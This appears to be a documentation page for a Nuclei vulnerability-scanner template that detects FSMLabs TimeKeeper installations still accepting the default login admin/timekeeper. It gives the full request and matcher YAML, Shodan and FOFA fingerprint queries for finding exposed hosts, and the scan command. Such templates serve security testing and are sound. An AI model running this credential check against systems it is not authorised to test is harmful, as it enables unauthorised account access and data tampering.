TimeKeeper - Default Login
ID: timekeeper-default-login
Severity: high
Author: theamanrawat
Tags: timekeeper,default-login
Description
Section titled “Description”TimeKeeper contains default credentials. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
YAML Source
Section titled “YAML Source”id: timekeeper-default-login
info: name: TimeKeeper - Default Login author: theamanrawat severity: high description: | TimeKeeper contains default credentials. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations. reference: - https://fsmlabs.com metadata: verified: true max-request: 1 shodan-query: http.favicon.hash:2134367771 product: timekeeper vendor: fsmlabs fofa-query: icon_hash=2134367771 tags: timekeeper,default-login
http: - raw: - | GET /login?arg1={{url_encode(base64(username))}}&arg2={{url_encode(base64(password))}} HTTP/1.1 Host: {{Hostname}}
attack: pitchfork payloads: username: - "admin" password: - "timekeeper"
matchers-condition: and matchers: - type: word part: body words: - "%7B%20%22username%22%20%3A%20%22admin%22%2C%20%22result%22%3A%20%22OK%22"
- type: word part: header words: - 'text/html'
- type: status status: - 200# digest: 4a0a004730450220648c5f045be3ed265ee0c189a1691fd3a07af63fc4421aa367af67febf98da7a022100bc274a0b0178fcdb0bdf353bb456411a7f43e64eac8a569fe1eeb5f27e3a2f6b:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/default-logins/timekeeper/timekeeper-default-login.yaml"